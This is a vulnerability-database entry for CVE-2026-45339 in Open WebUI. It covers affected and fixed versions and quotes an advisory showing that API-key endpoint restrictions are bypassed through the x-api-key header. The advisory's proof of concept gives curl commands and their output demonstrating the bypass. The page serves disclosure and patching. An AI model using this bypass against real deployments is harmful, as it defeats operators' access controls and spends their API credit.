Answer in brief
CVE-2026-45339 records a Medium severity (CVSS 6.5) vulnerability in Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header — full message processing on restricted endpoints. The current sources do not mark it as known exploited. The current feed maps open-webui (pip), open-webui (pypi). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 6.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps open-webui (pip), open-webui (pypi). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| open-webuipip | <0.9.0 | 0.9.0 |
| open-webuipypi | >=0 <0.9.0 | 0.9.0 |
Published upstream
May 14, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Nov 3, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Nov 3, 2026
### Summary Open WebUI allows admins to restrict which API endpoints an API key can access. When an API key is restricted from `/api/v1/messages`, requests using the `Authorization: Bearer sk-...` header are correctly blocked with 403. However, the same key sent via the `x-api-key` header bypasses the restriction entirely — the request is authenticated, the model is invoked, and a full response is returned. ### Details Open WebUI's Anthropic-compatible API path accepts authentication via `x-api-key` header (standard for the Anthropic API). The endpoint restriction check only applies to keys presented via the `Authorization` header. When the same `sk-...` key is supplied in `x-api-key`, the restriction check is skipped but the key is still valid for authentication. This means any API key, regardless of its configured endpoint restrictions, can access any API endpoint by simply using `x-api-key` instead of `Authorization`. ### PoC **Verified against Open WebUI v0.8.11.** **Setup:** Admin creates a user with an API key that has endpoint restrictions (not allowed on `/api/v1/messages`). A mock OpenAI-compatible model (`mock-model`) is configured. ```bash API_KEY="sk-dc56016d720e49ba9e95584d602b79bb" # Test 1: Authorization header — BLOCKED (endpoint restriction enforced) curl -s -X POST http://target:8080/api/v1/messages \ -H "Authorization: Bearer $API_KEY" \ -H 'Content-Type: application/json' \ -d '{"model":"mock-model","messages":[{"role":"user","content":"via Authorization header"}]}' # Test 2: x-api-key header — BYPASS (same key, restriction skipped) curl -s -X POST http://target:8080/api/v1/messages \ -H "x-api-key: $API_KEY" \ -H 'Content-Type: application/json' \ -d '{"model":"mock-model","messages":[{"role":"user","content":"via x-api-key header"}]}' ``` **Verified output:** ``` # Authorization header: {"detail":"API key not allowed to access this endpoint."} # x-api-key header (SAME key): {"id":"chatcmpl-mock","type":"message","role":"assistant","content":[{"type":"text","text":"MOCK-CHAT-RESPONSE"}],"model":"mock-model","usage":{"input_tokens":1,"output_tokens":1}} ``` The same API key is rejected via `Authorization` (403) but fully processed via `x-api-key` (200 with model response). ### Impact Any API key with endpoint restrictions can bypass those restrictions by using the `x-api-key` header instead of `Authorization`. This undermines the entire API key permission model: - Keys restricted from chat/completion endpoints can still send messages and receive LLM responses - Keys restricted from admin endpoints may access admin functionality - The operator's intended access control is silently ineffective - API credit spend cannot be controlled through endpoint restrictions
Quoted source text, attributed separately from HOL analysis.